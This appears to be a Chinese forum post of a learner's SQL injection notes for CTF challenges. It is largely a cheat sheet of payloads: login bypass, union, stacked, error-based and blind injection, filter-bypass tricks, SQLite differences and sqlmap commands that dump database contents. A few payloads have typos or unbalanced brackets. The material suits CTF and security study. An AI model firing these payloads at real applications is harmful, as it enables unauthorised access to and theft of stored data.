-
-
[原创]sql注入学习笔记
-
2022-7-14 13:04
14088
-
首先来了解一下在CTF中最为常见的sql查询语句
1 | select * from users where username = '$username' and password = '$password' ;
|
这个语句的意图也非常明显,查询users数据表中的所有字段,看能否找到用户输入的用户名和对应的密码。
利用点也很明确,通过闭合单引号在该查询语句的基础上添加我们想要的查询语句(此即为sql注入)
下面对CTF中出现的一些常见考点做一个简单的梳理和总结
万能密码(以上面这条查询语句为例)
1 2 | ' or 1 = 1
username = admin\&password = or 1 ;
|
联合注入
有无回显测试
1 2 | ? id = - 1 'order by 1 % 23 / / 使用order by主要用于确定字段数
? id = 1 'union select 1 , 2 , 3 % 23
|
有回显注入
分为数字型,字符型
利用select查询
(以字符型注入为例)
查询sql版本
1 | ? id = - 1 'union select 1 ,version(), 3 % 23
|
查询数据库名(把database放在回显点上):
1 | ? id = - 1 'union select 1 ,database(), 3 % 23
|
查询数据表名:
1 | ? id = - 1 ' union select 1 ,group_concat(table_name) from information_schema.tables where table_schema = database() % 23
|
查询字段名:
1 | ? id = - 1 'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name=' (数据表名)' % 23
|
查询结果:
1 | ? id = - 1 ' union select (字段名), 2 from 表名 % 23
|
堆叠查询
查询数据库:
查询数据表:
查询字段名(如果数据表名是数字形式,使用反引号):
1 | 1 ';show columns from (数据表名); % 23
|
堆叠查询没有直接读取字段值的方法,但是有时候可以通过
预处理
运用handler命令:
1 | 1 ';handler (数据表) open ;handler (数据表) read first;handler (数据表) close; % 23
|
运用rename命令:
1 | 1 ';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar( 100 ); 23
|
报错注入
基于extractvalue()的payload:
查询数据库:
1 | id = a' and extractvalue( 1 ,concat( 0x7e ,select(database()))) % 23
|
查询数据表:
1 | id = a ' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like(' 数据库名')) % 23
|
查询字段:
1 | id = a ' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like(' 数据表名')))) % 23
|
查询字段值(字段名和数据表名不需要单引号):
1 | id = a' and extractvalue( 1 ,concat( 0x7e ,select(group_concat(字段名)) from (数据表名))) % 23
|
可用updatexml():
查询数据库名:
1 | id = a' and updatexml( 1 ,concat( 0x7e ,(select database()), 0x7e ), 1 ) % 23
|
无回显注入
布尔盲注
1 | id = 1 ' and length(database())< 5 % 23
|
1 | ? id = 1 ' and (select ord (mid(group_concat(table_name), 1 , 1 ))< 97 information_schema.tables where table_schema = database()); % 23
|
时间盲注
基于and的盲注payload:
1 | 1 ' and 表达式 and sleep( 5 ) % 23
|
基于if的盲注payload:
1 | if (ascii(substr(database(), 1 ), 1 )) = 97 ,sleep( 5 ), 1 )
|
bypass
大小写绕过
当正则匹配的黑名单修饰符没有i时
各种字符绕过
空格:
字符串截取函数:
1 | substr substring mid left right
|
等于号:
与:
或:
limit:
大于,小于号(greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值):
截断符
select绕过
预处理绕过
1 | 1 ';set @sql=concat(' se ',' lect * from user;');prepare ext from @sql;execute ext;
|
基于mysql8的新特性
table在某些情况下可以代替select
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
|
但值得注意的是,table在查询时,返回值为元组
注入payload:
1 | ( 1 , 0x21 , 0x21 )<(table users limit 1 )
|
以上是对于mysql的注入
当然还有不太常见但偶尔出现的sqlite注入,sqlite注入和mysql的注入大致上相同,值得注意的是一下几个区别
1.sqlite中查询版本号的函数时sqlite_version()
2.在sqlite中有一张叫sqlite_master的表,类似于mysql中的information.schema,用于存放数据表名,字段名等信息
1 | union select 1 , 2 ,name from sqlite_master where type = 'table' and name = '(数据表)'
|
3.在sqlite中并不支持#这个注释符,但可以用--等DDl中的注释符
sqlmap的使用
虽然学会手注很重要,但是最方便的还是直接用sqlmap辣,一般在题目黑名单限制不多,形态比较常规的时候,可以直接扫到。
一键开扫:
1 | python3 sqlmap.py - u http: / / ip:port
|
post型注入(抓包):
1 | python3 sqlmap.py - r request.txt - p (注入点)
|
获取数据库名:
1 | python3 sqlmap.py - u http: / / ip:port - - dbs
|
获取数据表名:
1 | python3 sqlmap.py - u http: / / ip:port - D 数据库 - - tables
|
获取字段名:
1 | python3 sqlmap.py - u http: / / ip:port - D 数据库 - T 数据表 - - columns
|
获取字段值:
1 | python3 sqlmap.py - u http: / / ip:port - D 数据库 - T 数据表 - C 字段名 - - dump
|
以上就是俺在学习sql注入过程中做的一个小小的汇总
如有错误,写的不好的或需要补充的地方,希望路过的大佬们能不吝赐教
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界